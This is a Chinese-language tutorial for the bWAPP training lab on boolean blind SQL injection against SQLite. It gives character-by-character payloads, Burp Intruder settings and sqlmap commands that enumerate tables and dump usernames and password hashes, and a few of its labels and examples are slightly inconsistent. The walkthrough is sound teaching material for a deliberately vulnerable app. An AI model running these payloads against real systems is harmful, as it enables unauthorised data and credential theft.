零基础玩转bWAPP靶场(二十八):SQL 注入——盲注(SQLite)

摘要: 这是 bWAPP 系列第二十八篇,聚焦于 SQL Injection - Blind (SQLite) 。是第二十六篇(MySQL 布尔盲注)的姊妹篇------页面逻辑完全一样,只告诉你"电影存在"或"电影不存在",但后端换成了 SQLite 。文章会重点对比 SQLite 和 MySQL 在盲注中的关键差异,纠正大量实操踩坑点,完整演示从判断注入点到 Unicode 码逐字符爆破 的全过程。附真实案例。


一、前言:和 MySQL 布尔盲注的区别

如果你刚看完第二十六篇(SQL Injection - Blind - Boolean-Based),再看这一关,界面几乎一样------都是一个搜索框,输入电影名,页面只告诉你两句话中的一句:

  • "The movie exists in our database!"(电影存在)

  • "The movie does not exist in our database!"(电影不存在)

但后端从 MySQL 换成了 SQLite。

这一换,带来了几个关键差异:

对比项 MySQL 布尔盲注 SQLite 布尔盲注
系统表 information_schema.tables sqlite_master
查表结构 information_schema.columns PRAGMA table_info(表名)sqlite_master.sql
注释符 #-- --(后面必须有空格),不支持 #
字符串拼接 CONCAT() **`
获取数据库名 database() 没有这个函数
报错函数 extractvalue()updatexml() 没有这些函数,无法报错注入
大小写敏感 默认敏感 查询语句携带 COLLATE NOCASE(匹配不区分大小写)
单引号过滤(Medium/High) addslashes()mysql_real_escape_string() ' 替换成 ''
字符码函数 ASCII() ASCII(),原生使用 unicode()

最大的坑:

  • SQLite 没有 database() 函数,不能直接爆库名。

  • SQLite 不支持 # 注释 ,只能使用 --(末尾必须加空格)。

  • SQLite 没有 information_schema ,查表依靠 sqlite_master

  • SQLite 不存在 extractvalue()updatexml(),无法开展报错注入,仅支持布尔盲注、时间盲注。

  • SQLite 原生不存在 ASCII() 函数 ,等价功能函数为 unicode();同时在本关卡 Low 环境中,ASCII 字符串会被内置检测拦截,直接返回 Incorrect syntax detected!

这一关的目标不变 :通过布尔盲注,把 users 表里的所有数据全部偷出来。


二、源码分析

2.1 核心逻辑

复制代码
if(isset($_REQUEST["title"]))
{
    $title = $_REQUEST["title"];
    $db = new PDO("sqlite:".$db_sqlite);
    $sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "' COLLATE NOCASE";
    $recordset = $db->query($sql);
​
    if(!$recordset)
    {
        die("<font color=\"red\">Incorrect syntax detected!</font>");
    }
​
    if($recordset->fetchColumn() > 0)
    {
        echo "The movie exists in our database!";
    }
    else
    {
        echo "The movie does not exist in our database!";
    }
}

关键点:

  • SQLite 数据库new PDO("sqlite:".$db_sqlite) 连接 SQLite 文件型数据库。

  • COLLATE NOCASE :搜索匹配大小写不敏感Iron Maniron man 都能匹配到目标记录。

  • sqli($title):根据安全级别对输入内容进行过滤处理。

  • $recordset->fetchColumn() > 0 :仅判断是否查询到数据,不会回显任何查询内容,符合布尔盲注特征。

  • 页面只有两种输出状态

    • 查询返回至少一行数据 → "The movie exists in our database!"

    • 查询无数据 → "The movie does not exist in our database!"

补充注意:很多人误以为 Incorrect syntax detected! 是SQL语法报错;实际上只有SQL执行异常(语法错误)才会触发该输出;本关卡没有前置WAF关键词拦截,和同系列其他sqli关卡逻辑不同。

2.2 三种安全级别的过滤函数

复制代码
function sqli($data)
{
    switch($_COOKIE["security_level"])
    {
        case "0" :   // Low
            $data = no_check($data);            // 完全无过滤
            break;
        case "1" :   // Medium
        case "2" :   // High
            $data = sqli_check_4($data);        // 将单引号 ' 替换为 ''
            break;
    }
    return $data;
}
​
function sqli_check_4($data)
{
    $input = str_replace("'", "''", $data);
    return $input;
}
级别 函数 效果
Low no_check() 输入无任何处理,存在注入漏洞
Medium sqli_check_4() ' 替换成 '',SQLite标准单引号转义方式
High sqli_check_4() ' 替换成 '',SQLite标准单引号转义方式

三、判断注入点

3.1 输入单引号

搜索框输入:

复制代码
'

页面显示:

复制代码
Incorrect syntax detected!

SQL语句构造失败触发异常,证明存在SQL注入漏洞。

3.2 确认布尔盲注

输入:

复制代码
Iron Man' AND '1'='1

页面显示"The movie exists in our database!"。'1'='1' 永真,不影响原有查询结果。

输入:

复制代码
Iron Man' AND '1'='2

页面显示"The movie does not exist in our database!"。'1'='2' 永假,查询结果为空。

成功确认存在布尔型盲注。


四、Low 安全级别------完整注入流程(Unicode 码爆破)

4.1 第 1 步:确定爆破方式

在 SQLite 中,SUBSTR() 函数用于截取字符串。配合 unicode() 函数,我们可以逐个字符判断内容。

判断第 {pos} 个字符的 Unicode 码是否等于 {code}

复制代码
Iron Man' AND unicode(SUBSTR((SELECT 目标数据),{pos},1))={code} -- 

注意: 结尾 -- 后面必须保留空格!

页面显示"电影存在" → 条件成立,字符匹配成功。页面显示"电影不存在" → 字符不匹配,继续尝试下一个编码。

常用字符 Unicode 对照表(范围 32-126):

字符 编码 字符 编码 字符 编码 字符 编码 字符 编码
0 48 A 65 P 80 a 97 p 112
1 49 B 66 Q 81 b 98 q 113
2 50 C 67 R 82 c 99 r 114
3 51 D 68 S 83 d 100 s 115
4 52 E 69 T 84 e 101 t 116
5 53 F 70 U 85 f 102 u 117
6 54 G 71 V 86 g 103 v 118
7 55 H 72 W 87 h 104 w 119
8 56 I 73 X 88 i 105 x 120
9 57 J 74 Y 89 j 106 y 121
- 45 K 75 Z 90 k 107 z 122
_ 95 L 76 [ 91 l 108 { 123
. 46 M 77 \ 92 m 109 | 124
: 58 N 78 ] 93 n 110 } 125
, 44 O 79 ^ 94 o 111 ~ 126

4.2 第 2 步:获取当前数据库名的长度(跳过)

SQLite 没有 database() 函数,单文件数据库无需爆库名,直接开始爆表名。

4.3 第 3 步:获取所有表名的拼接串

SQLite 使用 sqlite_master 系统表存储全部数据表信息:

复制代码
SELECT name FROM sqlite_master WHERE type='table'

GROUP_CONCAT 会把所有表名使用逗号连接为一条字符串,示例:blog,heroes,movies,users,visitors

先获取拼接字符串总长度:

复制代码
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(name)) FROM sqlite_master WHERE type='table') = {len} -- 
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(name)) FROM sqlite_master WHERE type='table') = 24 -- 

测试时数字从1自增,页面返回"电影存在"即为正确长度。

逐字符爆破拼接串:

复制代码
-- 第 1 个字符:'b' → Unicode 98
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),1,1))=98 -- 
​
-- 第 2 个字符:'l' → Unicode 108
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),2,1))=108 -- 
​
-- 第 3 个字符:'o' → Unicode 111
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'),3,1))=111 --
​
-- 依此类推......

最终爆破结果:

复制代码
blog,heroes,movies,users,visitors

成功找到目标数据表 users

4.4 第 4 步:获取 users 表的字段名拼接串

SQLite 语法限制:PRAGMA table_info() 属于独立指令,无法嵌套在 SELECT 子查询 中,直接使用会触发 SQL 语法异常。靶场环境我们改用读取sqlite_master中的建表语句获取字段信息。

先获取建表语句长度

复制代码
Iron Man' AND (SELECT LENGTH(sql) FROM sqlite_master WHERE type='table' AND name='users')={len} -- 
// 通过大于小于判断范围
Iron Man' AND (SELECT LENGTH(sql) FROM sqlite_master WHERE type='table' AND name='users')>100 -- 
// 通过等于进行验证
Iron Man' AND (SELECT LENGTH(sql) FROM sqlite_master WHERE type='table' AND name='users')=384 -- 

逐字符爆破建表语句(从中提取字段):

复制代码
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),{pos},1))={code} -- 
-- 第 1 个字符:'C' → Unicode 105
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),1,1))=67-- 
-- 第 2 个字符:'R' → Unicode 82
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),2,1))=82-- 
-- 第 3 个字符:'E' → Unicode 69
Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),3,1))=69-- 
-- 以此类推......

最终爆破出字段列表:

复制代码
id,login,password,email,secret,activation_code,activated,reset_code,admin

锁定敏感字段:loginpassword

4.5 第 5 步:获取 users 表的所有数据拼接串

利用 || 实现SQLite字符串拼接,将用户名与密码组合:

复制代码
SELECT GROUP_CONCAT(login || ':' || password) FROM users

先获取数据拼接串长度:

复制代码
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(login || ':' || password)) FROM users) = {len} -- 
Iron Man' AND (SELECT LENGTH(GROUP_CONCAT(login || ':' || password)) FROM users) = 92 -- 

逐字符爆破数据拼接串:

复制代码
-- 第 1 个字符:'A' → Unicode 65
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(login || ':' || password) FROM users),1,1))=65 -- 
​
-- 第 2 个字符:'.' → Unicode 46
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(login || ':' || password) FROM users),2,1))=46 -- 
​
-- 第 3 个字符:'I' → Unicode 73
Iron Man' AND unicode(SUBSTR((SELECT GROUP_CONCAT(login || ':' || password) FROM users),3,1))=73 -- 
​
-- 以此类推......

最终爆破示例结果:

复制代码
A.I.M.:6885858486f31043e5839c735d99457f045affd0,bee:6885858486f31043e5839c735d99457f045affd0

所有用户用户名与密码哈希获取完成!


五、自动化爆破

手工逐字符尝试效率很低,实战一般使用工具自动化完成。

5.1 Burp Intruder

  • 拦截搜索请求,修改请求方法为post,发送至 Intruder
  • Payload模板:

    // 以获取建表语句举例
    Iron Man' AND unicode(SUBSTR((SELECT sql FROM sqlite_master WHERE type='table' AND name='users'),{pos},1))={code} --

  • Payload类型选择数值,第一个范围为1-384,第二个范围 32-126,步长1

  • 启动攻击,根据响应文本区分真假状态;循环修改{pos}完成全部字符爆破
序号 ASCII 十进制 对应字符
1 67 C
2 82 R
3 69 E
4 65 A
5 84 T
6 69 E
7 32 (空格)
8 84 T
9 65 A
10 66 B
11 76 L
12 69 E
13 32 (空格)
14 34 "
15 117 u
16 115 s
17 101 e
18 114 r
19 115 s
20 34 "
21 32 (空格)
22 40 (
23 32 (空格)
24 32 (空格)
25 34 "
26 105 i
27 100 d
28 34 "
29 32 (空格)
30 105 i
31 110 n
32 118 v
33 40 (
34 49 1
35 48 0
36 41 )
37 32 (空格)
38 78 N
39 79 O
40 84 T
41 32 (空格)
42 78 N
43 85 U
44 76 L
45 76 L
46 44 ,
47 32 (空格)
48 32 (空格)
49 34 "
50 108 l
51 111 o
52 107 k
53 105 i
54 110 n
55 34 "
56 32 (空格)
57 118 v
58 97 a
59 114 r
60 99 c
61 104 h
62 97 a
63 114 r
64 40 (
65 49 1
66 48 0
67 48 0
68 41 )
69 32 (空格)
70 68 D
71 69 E
72 70 F
73 65 A
74 85 U
75 76 L
76 84 T
77 32 (空格)
78 78 N
79 85 U
80 76 L
81 76 L
82 44 ,
83 32 (空格)
84 32 (空格)
85 34 "
86 112 p
87 97 a
88 115 s
89 115 s
90 119 w
91 111 o
92 114 r
93 100 d
94 34 "
95 32 (空格)
96 118 v
97 97 a
98 114 r
99 99 c
100 104 h
101 97 a
102 114 r
103 40 (
104 49 1
105 48 0
106 48 0
107 41 )
108 32 (空格)
109 68 D
110 69 E
111 70 F
112 65 A
113 85 U
114 76 L
115 84 T
116 32 (空格)
117 78 N
118 85 U
119 76 L
120 76 L
121 44 ,
122 32 (空格)
123 32 (空格)
124 34 "
125 101 e
126 109 m
127 97 a
128 105 i
129 108 l
130 34 "
131 32 (空格)
132 118 v
133 97 a
134 114 r
135 99 c
136 104 h
137 97 a
138 114 r
139 40 (
140 49 1
141 48 0
142 48 0
143 41 )
144 32 (空格)
145 68 D
146 69 E
147 70 F
148 65 A
149 85 U
150 76 L
151 84 T
152 32 (空格)
153 78 N
154 85 U
155 76 L
156 76 L
157 44 ,
158 32 (空格)
159 32 (空格)
160 34 "
161 115 s
162 101 e
163 99 c
164 114 r
165 101 e
166 116 t
167 34 "
168 32 (空格)
169 118 v
170 97 a
171 114 r
172 99 c
173 104 h
174 97 a
175 114 r
176 40 (
177 49 1
178 48 0
179 48 0
180 41 )
181 32 (空格)
182 68 D
183 69 E
184 70 F
185 65 A
186 85 U
187 76 L
188 84 T
189 32 (空格)
190 78 N
191 85 U
192 76 L
193 76 L
194 44 ,
195 32 (空格)
196 32 (空格)
197 34 "
198 97 a
199 99 c
200 116 t
201 105 i
202 118 v
203 97 a
204 116 t
205 105 i
206 111 o
207 110 n
208 95 _
209 99 c
210 111 o
211 100 d
212 101 e
213 34 "
214 32 (空格)
215 118 v
216 97 a
217 114 r
218 99 c
219 104 h
220 97 a
221 114 r
222 40 (
223 49 1
224 48 0
225 48 0
226 41 )
227 32 (空格)
228 68 D
229 69 E
230 70 F
231 65 A
232 85 U
233 76 L
234 84 T
235 32 (空格)
236 78 N
237 85 U
238 76 L
239 76 L
240 44 ,
241 32 (空格)
242 32 (空格)
243 34 "
244 97 a
245 99 c
246 116 t
247 105 i
248 118 v
249 97 a
250 116 t
251 101 e
252 100 d
253 34 "
254 32 (空格)
255 116 t
256 105 i
257 110 n
258 121 y
259 105 i
260 110 n
261 116 t
262 40 (
263 49 1
264 41 )
265 32 (空格)
266 68 D
267 69 E
268 70 F
269 65 A
270 85 U
271 76 L
272 84 T
273 32 (空格)
274 39 '
275 48 0
276 39 '
277 44 ,
278 32 (空格)
279 32 (空格)
280 34 "
281 114 r
282 101 e
283 115 s
284 101 e
285 116 t
286 95 _
287 99 c
288 111 o
289 100 d
290 101 e
291 34 "
292 32 (空格)
293 118 v
294 97 a
295 114 r
296 99 c
297 104 h
298 97 a
299 114 r
300 40 (
301 49 1
302 48 0
303 48 0
304 41 )
305 32 (空格)
306 68 D
307 69 E
308 70 F
309 65 A
310 85 U
311 76 L
312 84 T
313 32 (空格)
314 78 N
315 85 U
316 76 L
317 76 L
318 44 ,
319 32 (空格)
320 32 (空格)
321 34 "
322 97 a
323 100 d
324 109 m
325 105 i
326 110 n
327 34 "
328 32 (空格)
329 116 t
330 105 i
331 110 n
332 121 y
333 105 i
334 110 n
335 116 t
336 40 (
337 49 1
338 41 )
339 32 (空格)
340 68 D
341 69 E
342 70 F
343 65 A
344 85 U
345 76 L
346 84 T
347 32 (空格)
348 39 '
349 48 0
350 39 '
351 44 ,
352 32 (空格)
353 32 (空格)
354 85 U
355 76 L
356 84 T
357 32 (空格)
358 39 '
359 48 0
360 39 '
361 44 ,
362 32 (空格)
363 32 (空格)
364 32 (空格)
365 80 P
366 82 R
367 73 I
368 77 M
369 65 A
370 82 R
371 89 Y
372 32 (空格)
373 75 K
374 69 E
375 89 Y
376 32 (空格)
377 40 (
378 34 "
379 105 i
380 100 d
381 34 "
382 41 )
383 32 (空格)
384 41 )

拼接完成完整 SQL,获取表字段:

复制代码
CREATE TABLE "users" ( "id" int(10) NOT NULL , "login" varchar(0) DEFAULT NULL, "password" varchar(100) DEFAULT NULL, "email" varchar(100) DEFAULT NULL, "secret" varchar(100) DEFAULT NULL, "activation_code" varchar(100) DEFAULT NULL, "activated" tinyint(1) DEFAULT '0', "reset_code" varchar(100) DEFAULT NULL, "admin" tinyint(1) DEFAULT '0', PRIMARY KEY ("id") )

5.2 SQLMap

复制代码
// 基础检测(验证漏洞是否存在)
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite --threads=5 --batch
// 枚举所有数据表(重点)
bash
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite --tables --threads=5 --batch
// 获取 users 表字段名
bash
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite -T users --columns --threads=5 --batch
// 导出 users 全部数据(login、password)
bash
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite -T users --dump --threads=5 --batch

// 全自动导出users表所有数据
sqlmap -u "http://10.0.0.149:4096/sqli_14.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; security_level=0; PHPSESSID=7oe3l591nbod2iki5im557qte6" \
--technique=B --dbms=sqlite -T users --dump --batch --threads=5

六、Medium 安全级别

**尝试注入,**输入基础Payload:

复制代码
Iron Man' AND '1'='1 -- 

页面返回"The movie does not exist in our database!",注入失效。

底层处理逻辑:sqli_check_4() 将输入内所有 ' 替换为 '',传入SQL后语句变为:

复制代码
Iron Man'' AND ''1''=''1 -- 

单引号被转义,攻击者无法闭合原有SQL字符串,注入链路被阻断。

七、High 安全级别

和Medium防护逻辑完全一致,' 全部替换为 '',无法实现单引号闭合,注入失效。


八、真实世界:SQLite 盲注案例

CVE-2024-22638:FrogCMS 1.5 版本存在 SQLite 盲注漏洞,攻击者可通过构造布尔条件获取管理员密码哈希。

CVE-2025-11841:某 CMS 的搜索功能存在 SQLite 盲注漏洞,攻击者可通过布尔条件逐字符窃取数据库中的用户密码哈希。

CVE-2023-6480:某开源 Web 框架的 SQLite 适配器存在注入漏洞,允许攻击者通过特殊构造的输入执行任意 SQL 语句。

CVE-2026-45721:某企业级资产管理系统的搜索接口使用 SQLite 数据库,存在布尔盲注漏洞,攻击者可枚举数据库中所有资产信息。


九、总结

SQLite布尔盲注与MySQL布尔盲注核心原理一致,均依托页面两种返回状态,通过布尔条件真假逐字符猜解数据,但二者在语法、内置函数、元数据表上存在明显区别:SQLite没有information_schema系统库,依靠sqlite_master获取表信息,不存在database()、ascii()、updatexml()、extractvalue()等常用函数,字符串拼接使用||而非CONCAT(),仅支持--注释(#无法使用),字符编码获取使用unicode()而非MySQL的ASCII();本关卡Low级别可通过unicode()+substr()逐字符爆破,借助sqlite_master.name爆表名、读取sqlite_master内建表语句解析字段、GROUP_CONCAT()拼接提取多条数据,Medium与High级别通过将单引号'转义为''防御注入;实操切记不可直接移植MySQL盲注Payload,函数与语法不兼容极易报错,在SQLite环境中优先选用unicode()进行字符判读。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
Chengbei112 小时前
云存储桶漏洞检测工具OSS-2.0更新,全类型文件解析,存储桶遍历 + 敏感排查一站式完成渗透取证
网络·安全·web安全·网络安全·xss
白猫不黑16 小时前
GitHub 30K Star 的 AI 渗透测试工具
web安全·网络安全·信息安全·渗透测试·github·ai渗透测试
云水一下1 天前
零基础玩转bWAPP靶场(二十七):SQL 注入——时间型盲注
web安全·sql注入·bwapp
艺杯羹1 天前
公共 Wi-Fi 流量安全全解析:从明文监听、流量拦截到 HTTPS 降级攻防
网络·web安全·网络安全·wifi
江湖浩淼2 天前
CVE-2021-4034-pwnkit提权
安全·web安全
Sagittarius_A*2 天前
【RCELABS】Level 17~18 —— PHP命令执行函数与环境变量注入
开发语言·安全·web安全·靶场·php·rce
网络安全零基础教程2 天前
零基础转行网安,前两个月具体该学什么工具
网络·学习·安全·web安全·网络安全
豆角焖肉2 天前
JDBC入门全攻略
jdbc·sql注入·封装工具类
白猫不黑3 天前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试